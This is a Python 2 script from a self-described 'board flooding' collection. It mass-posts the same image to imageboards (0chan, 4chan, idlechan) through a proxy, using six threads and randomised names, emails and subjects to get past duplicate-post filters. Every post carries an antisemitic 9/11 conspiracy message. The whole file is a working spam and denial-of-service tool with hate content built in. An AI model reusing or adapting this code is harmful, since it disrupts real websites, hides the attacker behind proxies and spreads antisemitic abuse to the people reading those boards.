| 1 | # futarape.chanrapepic |
|---|
| 2 | # (part of the futarape futabally board flooding Python script collection |
|---|
| 3 | # by rolloffle) |
|---|
| 4 | # |
|---|
| 5 | # tries to flood a futabally site with postings of the same picture |
|---|
| 6 | # doesn't work too well; more of a proof-of-concept than anything else |
|---|
| 7 | |
|---|
| 8 | import httplib |
|---|
| 9 | import mimetypes |
|---|
| 10 | from random import choice, randrange |
|---|
| 11 | from sys import exit |
|---|
| 12 | from time import strftime |
|---|
| 13 | import threading |
|---|
| 14 | |
|---|
| 15 | ########################################################################## |
|---|
| 16 | # this is a series of preconfigured setups for flooding 0chan, 4chan and # |
|---|
| 17 | # idlechan # |
|---|
| 18 | ########################################################################## |
|---|
| 19 | |
|---|
| 20 | preconfig = { |
|---|
| 21 | |
|---|
| 22 | '0chan': |
|---|
| 23 | [ |
|---|
| 24 | 'http://www.0chan.net/', |
|---|
| 25 | [ 'w' ], |
|---|
| 26 | '512000' |
|---|
| 27 | ], |
|---|
| 28 | |
|---|
| 29 | '4chan': |
|---|
| 30 | [ |
|---|
| 31 | 'http://img.4chan.org/', |
|---|
| 32 | [ 'a', 'b', 'c', 'd', 'f', 'h', 'l', 'p', 'r', 's', 't', 'u', 'w'], |
|---|
| 33 | '1048576' |
|---|
| 34 | ], |
|---|
| 35 | |
|---|
| 36 | 'idlechan': |
|---|
| 37 | [ |
|---|
| 38 | 'http://www.idlechan.org/', |
|---|
| 39 | [ 'a', 'c', 'l', 'p', 'sw' ], |
|---|
| 40 | '1048576' |
|---|
| 41 | ] |
|---|
| 42 | |
|---|
| 43 | } |
|---|
| 44 | |
|---|
| 45 | # global config |
|---|
| 46 | |
|---|
| 47 | config = preconfig['idlechan'] |
|---|
| 48 | msg = 'Propz to GNAA. Jewz did WTC!' |
|---|
| 49 | proxies = [ |
|---|
| 50 | ('12.150.226.1', 80), |
|---|
| 51 | # ('12.9.30.37', 80) |
|---|
| 52 | # '24.45.25.174:81' |
|---|
| 53 | # ('12.9.30.37', 80) |
|---|
| 54 | ] |
|---|
| 55 | |
|---|
| 56 | # global program vars |
|---|
| 57 | |
|---|
| 58 | numposts = 0 |
|---|
| 59 | |
|---|
| 60 | def post_multipart(host, selector, fields, files): |
|---|
| 61 | """ |
|---|
| 62 | Post fields and files to an http host as multipart/form-data. |
|---|
| 63 | fields is a sequence of (name, value) elements for regular form fields. |
|---|
| 64 | files is a sequence of (name, filename, value) elements for data to be uploaded as files |
|---|
| 65 | Return the server's response page. |
|---|
| 66 | """ |
|---|
| 67 | content_type, body = encode_multipart_formdata(fields, files) |
|---|
| 68 | h = httplib.HTTP(host) |
|---|
| 69 | h.putrequest('POST', selector) |
|---|
| 70 | h.putheader('content-type', content_type) |
|---|
| 71 | h.putheader('content-length', str(len(body))) |
|---|
| 72 | h.endheaders() |
|---|
| 73 | h.send(body) |
|---|
| 74 | errcode, errmsg, headers = h.getreply() |
|---|
| 75 | return h.file.read() |
|---|
| 76 | |
|---|
| 77 | def encode_multipart_formdata(fields, files): |
|---|
| 78 | """ |
|---|
| 79 | fields is a sequence of (name, value) elements for regular form fields. |
|---|
| 80 | files is a sequence of (name, filename, value) elements for data to be uploaded as files |
|---|
| 81 | Return (content_type, body) ready for httplib.HTTP instance |
|---|
| 82 | """ |
|---|
| 83 | BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$' |
|---|
| 84 | CRLF = '\r\n' |
|---|
| 85 | L = [] |
|---|
| 86 | for (key, value) in fields: |
|---|
| 87 | L.append('--' + BOUNDARY) |
|---|
| 88 | L.append('Content-Disposition: form-data; name="%s"' % key) |
|---|
| 89 | L.append('') |
|---|
| 90 | L.append(value) |
|---|
| 91 | for (key, filename, value) in files: |
|---|
| 92 | L.append('--' + BOUNDARY) |
|---|
| 93 | L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) |
|---|
| 94 | L.append('Content-Type: %s' % get_content_type(filename)) |
|---|
| 95 | L.append('') |
|---|
| 96 | L.append(value) |
|---|
| 97 | L.append('--' + BOUNDARY + '--') |
|---|
| 98 | L.append('') |
|---|
| 99 | body = CRLF.join(L) |
|---|
| 100 | content_type = 'multipart/form-data; boundary=%s' % BOUNDARY |
|---|
| 101 | return content_type, body |
|---|
| 102 | |
|---|
| 103 | def get_content_type(filename): |
|---|
| 104 | return mimetypes.guess_type(filename)[0] or 'application/octet-stream' |
|---|
| 105 | |
|---|
| 106 | def rndchars(x): |
|---|
| 107 | str = "" |
|---|
| 108 | for i in range(randrange(x, x + 3)): |
|---|
| 109 | str = str + choice('abcdefghijklmnopqrstuvwxyz').lower() |
|---|
| 110 | return str |
|---|
| 111 | |
|---|
| 112 | class Flood(threading.Thread): |
|---|
| 113 | |
|---|
| 114 | def run(self): |
|---|
| 115 | |
|---|
| 116 | global config |
|---|
| 117 | global msg |
|---|
| 118 | global numposts |
|---|
| 119 | global proxies |
|---|
| 120 | |
|---|
| 121 | #self.proxy = choice(proxies) |
|---|
| 122 | self.proxy = '12.150.226.1:80' |
|---|
| 123 | |
|---|
| 124 | for blah in range(1000): |
|---|
| 125 | |
|---|
| 126 | # flood a random board |
|---|
| 127 | self.board = choice(config[1]) |
|---|
| 128 | self.url = config[0] + self.board + '/imgboard.php' |
|---|
| 129 | |
|---|
| 130 | # read in image |
|---|
| 131 | self.f = open('flood.jpg', 'rb') |
|---|
| 132 | self.body = self.f.read() |
|---|
| 133 | self.f.close() |
|---|
| 134 | self.files = [ [ 'upfile', 'flood.jpg', self.body ] ] |
|---|
| 135 | |
|---|
| 136 | self.fields = [ |
|---|
| 137 | ('mode', 'regist'), |
|---|
| 138 | ('MAX_FILE_SIZE', config[2]), |
|---|
| 139 | ('name', rndchars(6)), |
|---|
| 140 | ('email', rndchars(5) + '@' + rndchars(6) + '.net'), |
|---|
| 141 | ('sub', rndchars(10)), |
|---|
| 142 | ('com', msg + '\n\n' + rndchars(30)), |
|---|
| 143 | ('textonly', ''), |
|---|
| 144 | ('pwd', rndchars(7)) |
|---|
| 145 | ] |
|---|
| 146 | |
|---|
| 147 | self.resp = post_multipart(self.proxy, self.url, self.fields, self.files) |
|---|
| 148 | |
|---|
| 149 | if self.resp.find('><b>Error: Duplicate file entry detected.') != -1: |
|---|
| 150 | print 'Dupe detected.' |
|---|
| 151 | continue |
|---|
| 152 | |
|---|
| 153 | print self.resp |
|---|
| 154 | |
|---|
| 155 | # try: |
|---|
| 156 | # self.f = self.opendev.open(config[0] + board + '/imgboard.php', self.par) |
|---|
| 157 | # self.str = self.f.read(10000) |
|---|
| 158 | # except: |
|---|
| 159 | # print 'Post attempt fucked up lol.' |
|---|
| 160 | # continue |
|---|
| 161 | |
|---|
| 162 | # if self.str.find('Proxy detected on ') != -1: |
|---|
| 163 | # print 'This is a known proxy. (' + strftime('%H:%M:%S') + ')' |
|---|
| 164 | # exit(0) |
|---|
| 165 | |
|---|
| 166 | # if self.str.find('error 403') != -1: |
|---|
| 167 | # print 'This proxy is 403. (' + strftime('%H:%M:%S') + ')' |
|---|
| 168 | # exit(0) |
|---|
| 169 | |
|---|
| 170 | numposts += 1 |
|---|
| 171 | if not (numposts % 10) or (numposts == 1): |
|---|
| 172 | print 'Post attempt #' + str(numposts) + ' (' + config[0] + self.board + ')' |
|---|
| 173 | |
|---|
| 174 | threads = [ ] |
|---|
| 175 | |
|---|
| 176 | for i in range(6): |
|---|
| 177 | newflood = Flood() |
|---|
| 178 | threads.append(newflood) |
|---|
| 179 | |
|---|
| 180 | for thread in threads: |
|---|
| 181 | thread.start() |
|---|